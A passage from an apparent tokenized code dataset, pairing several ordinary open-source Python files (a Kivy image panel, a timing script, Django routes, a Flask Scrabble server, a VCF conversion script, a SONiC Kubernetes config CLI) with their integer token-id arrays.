pic.height = pic.height - 50
pic.width = pic.width - 50
self.imgGrid.add_widget(pic)
config.imgLabelArray.append( TextInput(text="", multiline=False, size_hint=(None, None), height=config.tallheight, font_size=config.basefont, font_name='maintextfont', background_color=neutral, foreground_color=styles.textcolor) )
self.imgGrid.add_widget(config.imgLabelArray[-1])
self.imgGrid.add_widget(Label(text="", size_hint=(None, None), height=config.tallheight))
try:
if len(config.user['image_labels']) > 0:
for i in range(len(config.user['image_labels'])):
if i <= len(config.imgLabelArray):
config.imgLabelArray[i].text = config.user['image_labels'][i]
except:
pass
else:
self.imgAItem.parent.remove_widget(self.imgAItem)
def initPanel(self):
self.imgAItem = AccordionItem(title='Images', background_normal='resources' + os.sep + 'bg_bars' + os.sep + styles.curr_palette["name"].replace (" ", "_") + '_5.png', background_selected='resources' + os.sep + 'bg_bars' + os.sep + styles.curr_palette["name"].replace (" ", "_") + '_5.png', min_space = config.aiheight)
self.imgMainBox = BoxLayout(orientation='vertical')
self.imgScroll = ScrollView(size_hint=(1, 1))
self.imgGrid = GridLayout(cols=1, spacing=5, size_hint=(None, None))
self.imgGrid.bind(minimum_height=self.imgGrid.setter('height'))
self.imgGrid.bind(minimum_width=self.imgGrid.setter('width'))
self.imgScroll.add_widget(self.imgGrid)
self.imgMainBox.add_widget(self.imgScroll)
self.imgAItem.add_widget(self.imgMainBox)
return self.imgAItem
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
2277,
2683,
2683,
2683,
2683,
2683,
2683,
5634,
13,
29937,
13,
29937,
29871,
1954,
1179,
349,
3870,
13,
29937,
13,
2277,
2683,
2683,
2683,
2683,
2683,
2683,
5634,
13,
13,
5215,
24802,
13,
3166,
24802,
1053,
334,
13,
5215,
2295,
13,
13,
29937,
731,
445,
304,
7700,
304,
9025,
445,
9451,
13,
1753,
19060,
7295,
13,
1678,
736,
7700,
13,
13,
1753,
373,
10399,
29898,
1311,
1125,
13,
13,
1678,
10153,
4775,
2588,
353,
5159,
13,
1678,
396,
17229,
599,
4558,
297,
278,
1857,
3884,
29915,
29879,
10153,
4138,
13,
1678,
565,
2897,
29889,
2084,
29889,
9933,
29898,
2917,
29889,
21962,
29918,
11802,
29918,
3972,
718,
376,
8346,
29908,
1125,
13,
4706,
4558,
353,
13149,
29889,
23705,
29898,
2917,
29889,
21962,
29918,
11802,
29918,
3972,
718,
376,
8346,
29908,
718,
2897,
29889,
19570,
718,
26345,
1159,
13,
4706,
363,
10153,
297,
4558,
29901,
13,
9651,
2295,
29889,
2492,
4775,
2588,
29889,
4397,
29898,
3992,
4290,
29898,
726,
543,
613,
1773,
309,
457,
29922,
8824,
29892,
2159,
29918,
29882,
524,
7607,
8516,
29892,
6213,
511,
3171,
29922,
2917,
29889,
29873,
497,
3545,
29892,
4079,
29918,
2311,
29922,
2917,
29889,
3188,
5657,
29892,
4079,
29918,
978,
2433,
3396,
726,
5657,
742,
3239,
29918,
2780,
29922,
17821,
1705,
29892,
363,
18128,
29918,
2780,
29922,
9783,
29889,
24223,
29897,
1723,
13,
9651,
1583,
29889,
2492,
5756,
29889,
1202,
29918,
8030,
29898,
2917,
29889,
2492,
4775,
2588,
14352,
29896,
2314,
13,
13,
9651,
11942,
353,
7084,
29898,
4993,
29922,
2492,
29892,
2159,
29918,
29882,
524,
7607,
8516,
29892,
6213,
876,
13,
9651,
11942,
29889,
2311,
353,
11942,
29889,
726,
545,
29889,
2311,
13,
9651,
565,
11942,
29889,
726,
545,
29889,
2103,
1405,
1583,
29889,
2492,
29909,
2001,
29889,
2103,
29901,
13,
18884,
11959,
353,
1583,
29889,
2492,
29909,
2001,
29889,
2103,
29914,
16447,
29889,
726,
545,
29889,
2103,
13,
18884,
11942,
29889,
2103,
353,
1583,
29889,
2492,
29909,
2001,
29889,
2103,
13,
18884,
11942,
29889,
3545,
353,
11942,
29889,
726,
545,
29889,
3545,
334,
11959,
13,
13,
9651,
11942,
29889,
3545,
353,
11942,
29889,
3545,
448,
29871,
29945,
29900,
13,
9651,
11942,
29889,
2103,
353,
11942,
29889,
2103,
448,
29871,
29945,
29900,
13,
9651,
1583,
29889,
2492,
5756,
29889,
1202,
29918,
8030,
29898,
16447,
29897,
13,
13,
9651,
2295,
29889,
2492,
4775,
2588,
29889,
4397,
29898,
3992,
4290,
29898,
726,
543,
613,
1773,
309,
457,
29922,
8824,
29892,
2159,
29918,
29882,
524,
7607,
8516,
29892,
6213,
511,
3171,
29922,
2917,
29889,
29873,
497,
3545,
29892,
4079,
29918,
2311,
29922,
2917,
29889,
3188,
5657,
29892,
4079,
29918,
978,
2433,
3396,
726,
5657,
742,
3239,
29918,
2780,
29922,
17821,
1705,
29892,
363,
18128,
29918,
2780,
29922,
9783,
29889,
24223,
29897,
1723,
13,
9651,
1583,
29889,
2492,
5756,
29889,
1202,
29918,
8030,
29898,
2917,
29889,
2492,
4775,
2588,
14352,
29896,
2314,
13,
13,
9651,
1583,
29889,
2492,
5756,
29889,
1202,
29918,
8030,
29898,
4775,
29898,
726,
543,
613,
2159,
29918,
29882,
524,
7607,
8516,
29892,
6213,
511,
3171,
29922,
2917,
29889,
29873,
497,
3545,
876,
13,
13,
4706,
1018,
29901,
13,
9651,
565,
7431,
29898,
2917,
29889,
1792,
1839,
3027,
29918,
21134,
11287,
1405,
29871,
29900,
29901,
13,
18884,
363,
474,
297,
3464,
29898,
2435,
29898,
2917,
29889,
1792,
1839,
3027,
29918,
21134,
2033,
22164,
13,
462,
1678,
565,
474,
5277,
7431,
29898,
2917,
29889,
2492,
4775,
2588,
1125,
13,
462,
4706,
2295,
29889,
2492,
4775,
2588,
29961,
29875,
1822,
726,
353,
2295,
29889,
1792,
1839,
3027,
29918,
21134,
2033,
29961,
29875,
29962,
13,
4706,
5174,
29901,
13,
9651,
1209,
13,
13,
1678,
1683,
29901,
13,
4706,
1583,
29889,
2492,
29909,
2001,
29889,
3560,
29889,
5992,
29918,
8030,
29898,
1311,
29889,
2492,
29909,
2001,
29897,
13,
13,
1753,
2069,
7490,
29898,
1311,
1125,
13,
13,
1678,
1583,
29889,
2492,
29909,
2001,
353,
4831,
536,
291,
2001,
29898,
3257,
2433,
20163,
742,
3239,
29918,
8945,
2433,
13237,
29915,
718,
2897,
29889,
19570,
718,
525,
16264,
29918,
28408,
29915,
718,
2897,
29889,
19570,
718,
11949,
29889,
21962,
29918,
29886,
26456,
3366,
978,
16862,
6506,
4852,
9162,
11119,
1159,
718,
22868,
29945,
29889,
2732,
742,
3239,
29918,
8391,
2433,
13237,
29915,
718,
2897,
29889,
19570,
718,
525,
16264,
29918,
28408,
29915,
718,
2897,
29889,
19570,
718,
11949,
29889,
21962,
29918,
29886,
26456,
3366,
978,
16862,
6506,
4852,
9162,
11119,
1159,
718,
22868,
29945,
29889,
2732,
742,
1375,
29918,
3493,
353,
2295,
29889,
1794,
3545,
29897,
13,
13,
1678,
1583,
29889,
2492,
6330,
3313,
353,
11773,
3453,
29898,
20659,
2433,
18575,
1495,
13,
13,
1678,
1583,
29889,
2492,
10463,
353,
28797,
1043,
29898,
2311,
29918,
29882,
524,
7607,
29896,
29892,
29871,
29896,
876,
13,
13,
1678,
1583,
29889,
2492,
5756,
353,
11657,
3453,
29898,
22724,
29922,
29896,
29892,
29250,
29922,
29945,
29892,
2159,
29918,
29882,
524,
7607,
8516,
29892,
6213,
876,
13,
1678,
1583,
29889,
2492,
5756,
29889,
5355,
29898,
1195,
12539,
29918,
3545,
29922,
1311,
29889,
2492,
5756,
29889,
842,
357,
877,
3545,
8785,
13,
1678,
1583,
29889,
2492,
5756,
29889,
5355,
29898,
1195,
12539,
29918,
2103,
29922,
1311,
29889,
2492,
5756,
29889,
842,
357,
877,
2103,
8785,
13,
13,
1678,
1583,
29889,
2492,
10463,
29889,
1202,
29918,
8030,
29898,
1311,
29889,
2492,
5756,
29897,
13,
1678,
1583,
29889,
2492,
6330,
3313,
29889,
1202,
29918,
8030,
29898,
1311,
29889,
2492,
10463,
29897,
13,
1678,
1583,
29889,
2492,
29909,
2001,
29889,
1202,
29918,
8030,
29898,
1311,
29889,
2492,
6330,
3313,
29897,
13,
13,
1678,
736,
1583,
29889,
2492,
29909,
2001,
13,
2
] |
exam1/main.py | uzakotim/programming_for_engineers_ctu | 0 | 72411 | # This is a sample Python script.
import time
import functools
import sys
import numpy as np
# Press Shift+F10 to execute it or replace it with your code.
# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.
sys.setrecursionlimit(10 ** 9)
def find_squares_opt(array):
arr = np.array(array)
return arr**2+1
def find_squares(array):
a_list = []
for i in array:
a_list.append(i ** 2 + 1)
return a_list
@functools.lru_cache
def fibonacci_fast(n):
if n <= 1:
return 1
else:
return fibonacci_fast(n - 1) + fibonacci_fast(n - 2)
def fibonacci(n):
if n <= 1:
return 1
else:
return fibonacci(n - 1) + fibonacci(n - 2)
# Press the green button in the gutter to run the script.
if __name__ == '__main__':
n = 1000
# print("Fibonacci slow")
# start = time.time()
# print(fibonacci(n))
# print(time.time() -start)
print("Squares not-optimized")
start = time.time()
find_squares(range(n))
# print(find_squares(range(n)))
t1 = time.time() - start
print(t1)
print("Squares optimized")
start = time.time()
find_squares_opt(range(n))
# print(find_squares_opt(range(n)))
t2 = time.time() - start
print(t2)
print(t1/t2)
# See PyCharm help at https://www.jetbrains.com/help/pycharm/
| [
1,
396,
910,
338,
263,
4559,
5132,
2471,
29889,
13,
5215,
931,
13,
5215,
2090,
312,
8789,
13,
5215,
10876,
13,
5215,
12655,
408,
7442,
13,
13,
29937,
5254,
1383,
2027,
29974,
29943,
29896,
29900,
304,
6222,
372,
470,
5191,
372,
411,
596,
775,
29889,
13,
29937,
5254,
11599,
1383,
2027,
304,
2740,
16978,
363,
4413,
29892,
2066,
29892,
5780,
5417,
29892,
8820,
29892,
322,
6055,
29889,
13,
9675,
29889,
842,
3757,
1295,
291,
13400,
29898,
29896,
29900,
3579,
29871,
29929,
29897,
13,
13,
1753,
1284,
29918,
26613,
5114,
29918,
3670,
29898,
2378,
1125,
13,
1678,
3948,
353,
7442,
29889,
2378,
29898,
2378,
29897,
13,
1678,
736,
3948,
1068,
29906,
29974,
29896,
13,
13,
13,
1753,
1284,
29918,
26613,
5114,
29898,
2378,
1125,
13,
1678,
263,
29918,
1761,
353,
5159,
13,
1678,
363,
474,
297,
1409,
29901,
13,
4706,
263,
29918,
1761,
29889,
4397,
29898,
29875,
3579,
29871,
29906,
718,
29871,
29896,
29897,
13,
1678,
736,
263,
29918,
1761,
13,
13,
13,
29992,
7692,
312,
8789,
29889,
29880,
582,
29918,
8173,
13,
1753,
18755,
265,
21566,
29918,
11255,
29898,
29876,
1125,
13,
1678,
565,
302,
5277,
29871,
29896,
29901,
13,
4706,
736,
29871,
29896,
13,
1678,
1683,
29901,
13,
4706,
736,
18755,
265,
21566,
29918,
11255,
29898,
29876,
448,
29871,
29896,
29897,
718,
18755,
265,
21566,
29918,
11255,
29898,
29876,
448,
29871,
29906,
29897,
13,
13,
13,
1753,
18755,
265,
21566,
29898,
29876,
1125,
13,
1678,
565,
302,
5277,
29871,
29896,
29901,
13,
4706,
736,
29871,
29896,
13,
1678,
1683,
29901,
13,
4706,
736,
18755,
265,
21566,
29898,
29876,
448,
29871,
29896,
29897,
718,
18755,
265,
21566,
29898,
29876,
448,
29871,
29906,
29897,
13,
13,
13,
29937,
5254,
278,
7933,
2826,
297,
278,
330,
6463,
304,
1065,
278,
2471,
29889,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
302,
353,
29871,
29896,
29900,
29900,
29900,
13,
13,
1678,
396,
1596,
703,
29943,
747,
265,
21566,
5232,
1159,
13,
1678,
396,
1369,
353,
931,
29889,
2230,
580,
13,
1678,
396,
1596,
29898,
29888,
747,
265,
21566,
29898,
29876,
876,
13,
1678,
396,
1596,
29898,
2230,
29889,
2230,
580,
448,
2962,
29897,
13,
13,
13,
1678,
1596,
703,
29903,
339,
5114,
451,
29899,
20640,
1891,
1159,
13,
1678,
1369,
353,
931,
29889,
2230,
580,
13,
1678,
1284,
29918,
26613,
5114,
29898,
3881,
29898,
29876,
876,
13,
1678,
396,
1596,
29898,
2886,
29918,
26613,
5114,
29898,
3881,
29898,
29876,
4961,
13,
1678,
260,
29896,
353,
931,
29889,
2230,
580,
448,
1369,
13,
1678,
1596,
29898,
29873,
29896,
29897,
13,
1678,
1596,
703,
29903,
339,
5114,
27545,
1159,
13,
1678,
1369,
353,
931,
29889,
2230,
580,
13,
1678,
1284,
29918,
26613,
5114,
29918,
3670,
29898,
3881,
29898,
29876,
876,
13,
1678,
396,
1596,
29898,
2886,
29918,
26613,
5114,
29918,
3670,
29898,
3881,
29898,
29876,
4961,
13,
1678,
260,
29906,
353,
931,
29889,
2230,
580,
448,
1369,
13,
1678,
1596,
29898,
29873,
29906,
29897,
13,
1678,
1596,
29898,
29873,
29896,
29914,
29873,
29906,
29897,
13,
29937,
2823,
10772,
1451,
2817,
1371,
472,
2045,
597,
1636,
29889,
4026,
29705,
29889,
510,
29914,
8477,
29914,
2272,
305,
2817,
29914,
13,
2
] |
myproject/myproject/apps/sample_rest/urls.py | gabfl/sample-django | 1 | 58622 | <filename>myproject/myproject/apps/sample_rest/urls.py
from django.urls import path
from rest_framework import routers, serializers, viewsets
from . import views
urlpatterns = [
path('', views.hello),
path('users', views.users),
path('user/<int:user_id>', views.user),
path('parse', views.parseJson),
]
| [
1,
529,
9507,
29958,
1357,
4836,
29914,
1357,
4836,
29914,
13371,
29914,
11249,
29918,
5060,
29914,
26045,
29889,
2272,
13,
3166,
9557,
29889,
26045,
1053,
2224,
13,
3166,
1791,
29918,
4468,
1053,
16053,
2153,
29892,
7797,
19427,
29892,
1776,
7224,
13,
13,
3166,
869,
1053,
8386,
13,
13,
2271,
11037,
29879,
353,
518,
13,
1678,
2224,
877,
742,
8386,
29889,
12199,
511,
13,
1678,
2224,
877,
7193,
742,
8386,
29889,
7193,
511,
13,
1678,
2224,
877,
1792,
29914,
29966,
524,
29901,
1792,
29918,
333,
29958,
742,
8386,
29889,
1792,
511,
13,
1678,
2224,
877,
5510,
742,
8386,
29889,
5510,
8148,
511,
13,
29962,
13,
2
] |
app.py | chiselko6/scrabble | 2 | 194540 | import os
from threading import Thread
from flask import Flask, current_app
from scrabble.engine import ServerEngine
app = Flask(__name__)
app.config['PORT'] = os.environ.get('PORT', 5678)
@app.before_first_request
def start_server():
engine = ServerEngine()
t = Thread(target=engine.run, args=(None, app.config['PORT']))
t.start()
current_app.engine = engine
@app.route('/')
def home():
return 'Welcome to Scrabble!'
@app.route('/new')
def init_game():
game_id = current_app.engine.init_new_game()
return str(game_id)
@app.route('/start/<int:game_id>/<init_word>')
def start_game(game_id: int, init_word: str):
current_app.engine.start_game(game_id, init_word)
return 'OK'
@app.route('/load/<int:game_id>')
def load_game(game_id: int):
current_app.engine.load_game(game_id)
return 'OK'
@app.route('/healthcheck')
def healthcheck():
return 'OK'
| [
1,
1053,
2897,
13,
3166,
3244,
292,
1053,
10480,
13,
13,
3166,
29784,
1053,
2379,
1278,
29892,
1857,
29918,
932,
13,
13,
3166,
885,
4201,
569,
29889,
10599,
1053,
5656,
12412,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
13,
932,
29889,
2917,
1839,
15082,
2033,
353,
2897,
29889,
21813,
29889,
657,
877,
15082,
742,
29871,
29945,
29953,
29955,
29947,
29897,
13,
13,
13,
29992,
932,
29889,
11083,
29918,
4102,
29918,
3827,
13,
1753,
1369,
29918,
2974,
7295,
13,
1678,
6012,
353,
5656,
12412,
580,
13,
13,
1678,
260,
353,
10480,
29898,
5182,
29922,
10599,
29889,
3389,
29892,
6389,
7607,
8516,
29892,
623,
29889,
2917,
1839,
15082,
25901,
13,
1678,
260,
29889,
2962,
580,
13,
13,
1678,
1857,
29918,
932,
29889,
10599,
353,
6012,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
1753,
3271,
7295,
13,
1678,
736,
525,
28862,
2763,
304,
2522,
4201,
569,
20714,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
1482,
1495,
13,
1753,
2069,
29918,
11802,
7295,
13,
1678,
3748,
29918,
333,
353,
1857,
29918,
932,
29889,
10599,
29889,
2344,
29918,
1482,
29918,
11802,
580,
13,
13,
1678,
736,
851,
29898,
11802,
29918,
333,
29897,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
2962,
29914,
29966,
524,
29901,
11802,
29918,
333,
20690,
29966,
2344,
29918,
1742,
29958,
1495,
13,
1753,
1369,
29918,
11802,
29898,
11802,
29918,
333,
29901,
938,
29892,
2069,
29918,
1742,
29901,
851,
1125,
13,
1678,
1857,
29918,
932,
29889,
10599,
29889,
2962,
29918,
11802,
29898,
11802,
29918,
333,
29892,
2069,
29918,
1742,
29897,
13,
13,
1678,
736,
525,
8949,
29915,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
1359,
29914,
29966,
524,
29901,
11802,
29918,
333,
29958,
1495,
13,
1753,
2254,
29918,
11802,
29898,
11802,
29918,
333,
29901,
938,
1125,
13,
1678,
1857,
29918,
932,
29889,
10599,
29889,
1359,
29918,
11802,
29898,
11802,
29918,
333,
29897,
13,
13,
1678,
736,
525,
8949,
29915,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
354,
4298,
3198,
1495,
13,
1753,
9045,
3198,
7295,
13,
1678,
736,
525,
8949,
29915,
13,
2
] |
scripts/convertDiagnoseTargets2Table.py | dgaston/kvasir | 0 | 81379 | <filename>scripts/convertDiagnoseTargets2Table.py
__author__ = 'dan'
import sys
import argparse
import csv
import vcf
import pybedtools
import tabix
from collections import defaultdict
#Arguments and commenad line parsing
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', help="Input vcf file")
parser.add_argument('-o', '--output', help="Output text file")
parser.add_argument('-d', '--dict', help="Dictionary of Ensembl to Gene Names")
parser.add_argument('-b', '--bed', help='BED file used with DiagnoseTargets')
parser.add_argument('-s', '--samples', help='Samples to consider. Defaults to all samples, comma-separated list')
args = parser.parse_args()
#Set up sample details
samples = args.samples.split(',')
sample_header_list = "\t".join(samples)
sys.stdout.write("Reading DiagnoseTargets file: %s\n" % args.input)
targets_reader = vcf.Reader(open(args.input, 'r'))
regions = defaultdict(lambda: defaultdict(lambda : defaultdict(str)))
sys.stdout.write("Reading BED file: %s\n" % args.bed)
with open(args.bed, 'rU') as csvfile:
reader = csv.reader(csvfile, dialect='excel-tab')
for row in reader:
regions[row[0]][row[1]][row[2]] = row[3]
sys.stdout.write("Reading Dictionary file: %s\n" % args.dict)
gene_dict = dict()
with open(args.dict, 'rU') as csvfile:
reader = csv.reader(csvfile, dialect='excel-tab')
for row in reader:
gene_dict[row[0]] = row[1]
with open(args.output, 'w') as out:
for record in targets_reader:
format_fields = record.FORMAT.split(':')
info_fields = record.INFO.split(';')
#If no Filter Type definition than all samples passed DiagnoseTargets
#Filtering criteria, nothing to do
if format_fields[0] == 'FT':
#Format sample genotypes in to string
genotypes = []
sample_coverage = dict()
for sample in samples:
sample_coverage[sample] = record.genotype(sample)['FT']
#Retrieve CCDS name info from CCDS BED file and format
try:
region_record = regions[record.CHROM][int(record.POS - 1)][int(record.INFO['END'])]
except:
sys.stderr.write("ERROR: Could not find match in regions dictionary for chrom %s, start %s, end %s\n" %
(record.CHROM, record.POS, record.INFO['END']))
region_record = "NA"
| [
1,
529,
9507,
29958,
16713,
29914,
13441,
12130,
4211,
852,
8667,
29879,
29906,
3562,
29889,
2272,
13,
1649,
8921,
1649,
353,
525,
18386,
29915,
13,
13,
5215,
10876,
13,
5215,
1852,
5510,
13,
5215,
11799,
13,
5215,
325,
6854,
13,
5215,
11451,
2580,
8504,
13,
5215,
4434,
861,
13,
3166,
16250,
1053,
2322,
8977,
13,
13,
29937,
26915,
322,
844,
264,
328,
1196,
13755,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
580,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29875,
742,
525,
489,
2080,
742,
1371,
543,
4290,
325,
6854,
934,
1159,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29877,
742,
525,
489,
4905,
742,
1371,
543,
6466,
1426,
934,
1159,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29881,
742,
525,
489,
8977,
742,
1371,
543,
11513,
310,
22521,
13365,
304,
15350,
14706,
1159,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29890,
742,
525,
489,
2580,
742,
1371,
2433,
29933,
3352,
934,
1304,
411,
4671,
4211,
852,
8667,
29879,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29879,
742,
525,
489,
27736,
742,
1371,
2433,
29903,
9422,
304,
2050,
29889,
13109,
29879,
304,
599,
11916,
29892,
16694,
29899,
25048,
630,
1051,
1495,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
29937,
2697,
701,
4559,
4902,
13,
27736,
353,
6389,
29889,
27736,
29889,
5451,
29317,
1495,
13,
11249,
29918,
6672,
29918,
1761,
353,
6634,
29873,
1642,
7122,
29898,
27736,
29897,
13,
13,
9675,
29889,
25393,
29889,
3539,
703,
6359,
292,
4671,
4211,
852,
8667,
29879,
934,
29901,
1273,
29879,
29905,
29876,
29908,
1273,
6389,
29889,
2080,
29897,
13,
5182,
29879,
29918,
16950,
353,
325,
6854,
29889,
6982,
29898,
3150,
29898,
5085,
29889,
2080,
29892,
525,
29878,
8785,
13,
13,
1727,
1080,
353,
2322,
8977,
29898,
2892,
29901,
2322,
8977,
29898,
2892,
584,
2322,
8977,
29898,
710,
4961,
13,
9675,
29889,
25393,
29889,
3539,
703,
6359,
292,
350,
3352,
934,
29901,
1273,
29879,
29905,
29876,
29908,
1273,
6389,
29889,
2580,
29897,
13,
2541,
1722,
29898,
5085,
29889,
2580,
29892,
525,
29878,
29965,
1495,
408,
11799,
1445,
29901,
13,
1678,
9591,
353,
11799,
29889,
16950,
29898,
7638,
1445,
29892,
23725,
2433,
24633,
29899,
3891,
1495,
13,
1678,
363,
1948,
297,
9591,
29901,
13,
4706,
12786,
29961,
798,
29961,
29900,
29962,
3816,
798,
29961,
29896,
29962,
3816,
798,
29961,
29906,
5262,
353,
1948,
29961,
29941,
29962,
13,
13,
9675,
29889,
25393,
29889,
3539,
703,
6359,
292,
13343,
934,
29901,
1273,
29879,
29905,
29876,
29908,
1273,
6389,
29889,
8977,
29897,
13,
29887,
1600,
29918,
8977,
353,
9657,
580,
13,
2541,
1722,
29898,
5085,
29889,
8977,
29892,
525,
29878,
29965,
1495,
408,
11799,
1445,
29901,
13,
1678,
9591,
353,
11799,
29889,
16950,
29898,
7638,
1445,
29892,
23725,
2433,
24633,
29899,
3891,
1495,
13,
1678,
363,
1948,
297,
9591,
29901,
13,
4706,
18530,
29918,
8977,
29961,
798,
29961,
29900,
5262,
353,
1948,
29961,
29896,
29962,
13,
13,
2541,
1722,
29898,
5085,
29889,
4905,
29892,
525,
29893,
1495,
408,
714,
29901,
13,
1678,
363,
2407,
297,
22525,
29918,
16950,
29901,
13,
4706,
3402,
29918,
9621,
353,
2407,
29889,
19094,
1299,
29889,
5451,
877,
29901,
1495,
13,
4706,
5235,
29918,
9621,
353,
2407,
29889,
11690,
29889,
5451,
877,
29936,
1495,
13,
4706,
396,
3644,
694,
19916,
5167,
5023,
1135,
599,
11916,
4502,
4671,
4211,
852,
8667,
29879,
13,
4706,
396,
5072,
292,
16614,
29892,
3078,
304,
437,
13,
4706,
565,
3402,
29918,
9621,
29961,
29900,
29962,
1275,
525,
7818,
2396,
13,
13,
9651,
396,
5809,
4559,
2531,
327,
7384,
297,
304,
1347,
13,
9651,
2531,
327,
7384,
353,
5159,
13,
9651,
4559,
29918,
11911,
482,
353,
9657,
580,
13,
13,
9651,
363,
4559,
297,
11916,
29901,
13,
18884,
4559,
29918,
11911,
482,
29961,
11249,
29962,
353,
2407,
29889,
1885,
327,
668,
29898,
11249,
29897,
1839,
7818,
2033,
13,
13,
462,
396,
8015,
29878,
2418,
315,
6530,
29903,
1024,
5235,
515,
315,
6530,
29903,
350,
3352,
934,
322,
3402,
13,
18884,
1018,
29901,
13,
462,
1678,
5120,
29918,
11651,
353,
12786,
29961,
11651,
29889,
3210,
3491,
3816,
524,
29898,
11651,
29889,
24815,
448,
29871,
29896,
29897,
3816,
524,
29898,
11651,
29889,
11690,
1839,
11794,
2033,
4638,
13,
18884,
5174,
29901,
13,
462,
1678,
10876,
29889,
303,
20405,
29889,
3539,
703,
11432,
29901,
6527,
451,
1284,
1993,
297,
12786,
8600,
363,
25173,
1273,
29879,
29892,
1369,
1273,
29879,
29892,
1095,
1273,
29879,
29905,
29876,
29908,
1273,
13,
462,
462,
268,
313,
11651,
29889,
3210,
3491,
29892,
2407,
29889,
24815,
29892,
2407,
29889,
11690,
1839,
11794,
25901,
13,
462,
1678,
5120,
29918,
11651,
353,
376,
3521,
29908,
13,
13,
2
] |
config/kube.py | sg893052/sonic-utilities | 91 | 150817 | <reponame>sg893052/sonic-utilities<gh_stars>10-100
import click
from utilities_common.cli import AbbreviationGroup, pass_db
from .utils import log
# DB Field names
KUBE_SERVER_TABLE_NAME = "KUBERNETES_MASTER"
KUBE_SERVER_TABLE_KEY = "SERVER"
KUBE_SERVER_IP = "ip"
KUBE_SERVER_PORT = "port"
KUBE_SERVER_DISABLE = "disable"
KUBE_SERVER_INSECURE = "insecure"
KUBE_STATE_SERVER_CONNECTED = "connected"
KUBE_STATE_SERVER_REACHABLE = "server_reachability"
KUBE_STATE_SERVER_IP = "server_ip"
KUBE_STATE_SERVER_TS = "last_update_ts"
KUBE_LABEL_TABLE = "KUBE_LABELS"
KUBE_LABEL_SET_KEY = "SET"
def _update_kube_server(db, field, val):
db_data = db.cfgdb.get_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY)
def_data = {
KUBE_SERVER_IP: "",
KUBE_SERVER_PORT: "6443",
KUBE_SERVER_INSECURE: "False",
KUBE_SERVER_DISABLE: "False"
}
for f in def_data:
if db_data and f in db_data:
if f == field and db_data[f] != val:
db.cfgdb.mod_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY, {field: val})
log.log_info("modify kubernetes server entry {}={}".format(field,val))
else:
# Missing field. Set to default or given value
v = val if f == field else def_data[f]
db.cfgdb.mod_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY, {f: v})
log.log_info("set kubernetes server entry {}={}".format(f,v))
def _label_node(dbconn, name, val=None):
set_key = "{}|{}".format(KUBE_LABEL_TABLE, KUBE_LABEL_SET_KEY)
client = dbconn.get_redis_client(dbconn.STATE_DB)
client.hset(set_key, name, val if val else "false")
@click.group(cls=AbbreviationGroup)
def kubernetes():
"""kubernetes command line"""
pass
# cmd kubernetes server
@kubernetes.group()
def server():
""" Server configuration """
pass
# cmd kubernetes server IP
@server.command()
@click.argument('vip', required=True)
@pass_db
def ip(db, vip):
"""Specify a kubernetes cluster VIP"""
_update_kube_server(db, KUBE_SERVER_IP, vip)
# cmd kubernetes server Port
@server.command()
@click.argument('portval', required=True)
@pass_db
def port(db, portval):
"""Specify a kubernetes Service port"""
val = int(portval)
if (val <= 0) or (val >= (64 << 10)):
click.echo('Invalid port value %s' % portval)
sys.exit(1)
_update_kube_server(db, KUBE_SERVER_PORT, portval)
# cmd kubernetes server insecure
@server.command()
@click.argument('option', type=click.Choice(["on", "off"]))
@pass_db
def insecure(db, option):
"""Specify a kubernetes cluster VIP access as insecure or not"""
_update_kube_server(db, 'insecure', option == "on")
# cmd kubernetes server disable
@server.command()
@click.argument('option', type=click.Choice(["on", "off"]))
@pass_db
def disable(db, option):
"""Specify a kubernetes cluster VIP access is disabled or not"""
_update_kube_server(db, 'disable', option == "on")
# cmd kubernetes label
@kubernetes.group()
def label():
""" label configuration """
pass
# cmd kubernetes label add <key> <val>
@label.command()
@click.argument('key', required=True)
@click.argument('val', required=True)
@pass_db
def add(db, key, val):
"""Add a label to this node"""
_label_node(db.db, key, val)
# cmd kubernetes label drop <key>
@label.command()
@click.argument('key', required=True)
@pass_db
def drop(db, key):
"""Drop a label from this node"""
_label_node(db.db, key)
| [
1,
529,
276,
1112,
420,
29958,
5311,
29947,
29929,
29941,
29900,
29945,
29906,
29914,
1100,
293,
29899,
4422,
1907,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29899,
29896,
29900,
29900,
13,
5215,
2828,
13,
13,
3166,
3667,
1907,
29918,
9435,
29889,
11303,
1053,
1976,
1030,
14641,
4782,
29892,
1209,
29918,
2585,
13,
13,
3166,
869,
13239,
1053,
1480,
13,
13,
29937,
6535,
8989,
2983,
13,
29968,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
5813,
353,
376,
29968,
7466,
1001,
6006,
2890,
29918,
1529,
1254,
1001,
29908,
13,
29968,
7466,
29923,
29918,
18603,
29918,
21009,
29918,
10818,
353,
376,
18603,
29908,
13,
29968,
7466,
29923,
29918,
18603,
29918,
5690,
353,
376,
666,
29908,
13,
29968,
7466,
29923,
29918,
18603,
29918,
15082,
353,
376,
637,
29908,
13,
29968,
7466,
29923,
29918,
18603,
29918,
23711,
6181,
353,
376,
20472,
29908,
13,
29968,
7466,
29923,
29918,
18603,
29918,
1177,
1660,
29907,
11499,
353,
376,
262,
24216,
29908,
13,
13,
29968,
7466,
29923,
29918,
19713,
29918,
18603,
29918,
6007,
8186,
1783,
3352,
353,
376,
18045,
29908,
13,
29968,
7466,
29923,
29918,
19713,
29918,
18603,
29918,
1525,
2477,
29950,
6181,
353,
376,
2974,
